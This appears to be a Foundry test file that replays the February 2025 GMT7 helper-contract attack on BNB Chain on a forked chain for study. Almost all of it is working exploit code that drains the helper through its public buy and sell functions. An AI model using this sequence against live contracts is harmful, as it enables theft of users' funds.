src/test/2025-02/GMT7_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 16.75 BNB
8// Attacker : 0x0A4125690753b6Cc82cAdbCa0f0899eb2025acB0
9// Attack Contract : 0x8EA93821691BB9Ec2cE0b4EDaCd920e9025779E4
10// Vulnerable Contract : 0x9AD90eeaB3CAff64A762Cb40387Ee1BB18bd31E3
11// Attack Tx : https://bscscan.com/tx/0x5eb225ce9fb2c7a169e1736eb3b2bf2b6a5843839dd84cdcf6fe2ab0577ae21f
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x9ad90eeab3caff64a762cb40387ee1bb18bd31e3#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/443
18//
19// The unverified GMT7 helper held token balances and router approvals. Its public trading
20// functions let the attacker force the helper to buy GMT7, then repeatedly sell the helper's
21// GMT7 to the GMT7/USDT pair while routing USDT output to the attack contract.
22 
23address constant ATTACKER = 0x0a4125690753b6cc82CADbCa0f0899eB2025ACB0;
24address constant ATTACK_CONTRACT = 0x8Ea93821691bB9eC2cE0b4eDACD920e9025779E4;
25address constant VULNERABLE_HELPER = 0x9AD90EEAb3CAFF64A762CB40387eE1Bb18BD31E3;
26address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
27address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
28address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
29 
30interface IGMT7Helper {
31    function transferBnb(
32        address[] calldata receivers
33    ) external;
34    function buyTokenAmount(
35        uint256 amount
36    ) external;
37    function robotSell2me(
38        uint256 amount
39    ) external;
40}
41 
42contract ContractTest is BaseTestWithBalanceLog {
43    IGMT7Helper private constant helper = IGMT7Helper(VULNERABLE_HELPER);
44    IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
45    IERC20 private constant usdt = IERC20(USDT_TOKEN);
46 
47    function setUp() public {
48        uint256 forkBlock = 46_497_384;
49        vm.createSelectFork("bsc", forkBlock);
50 
51        fundingToken = address(0);
52        vm.label(ATTACKER, "Attacker");
53        vm.label(ATTACK_CONTRACT, "Attack Contract");
54        vm.label(VULNERABLE_HELPER, "GMT7 Helper");
55        vm.label(PANCAKE_ROUTER, "Pancake Router");
56        vm.label(USDT_TOKEN, "USDT");
57        vm.label(WBNB_TOKEN, "WBNB");
58    }
59 
60    function testExploit() public balanceLog {
61        uint256 balanceBefore = address(this).balance;
62 
63        address[] memory receivers = new address[](1);
64        receivers[0] = address(this);
65        helper.transferBnb(receivers);
66 
67        helper.buyTokenAmount(3023);
68        for (uint256 i = 0; i < 44; i++) {
69            helper.robotSell2me(100);
70        }
71        helper.robotSell2me(58);
72 
73        uint256 usdtBalance = usdt.balanceOf(address(this));
74        usdt.approve(PANCAKE_ROUTER, usdtBalance);
75 
76        address[] memory path = new address[](2);
77        path[0] = USDT_TOKEN;
78        path[1] = WBNB_TOKEN;
79        router.swapExactTokensForETHSupportingFeeOnTransferTokens(usdtBalance, 0, path, address(this), block.timestamp);
80 
81        assertGt(address(this).balance - balanceBefore, 16 ether);
82    }
83 
84    receive() external payable {}
85}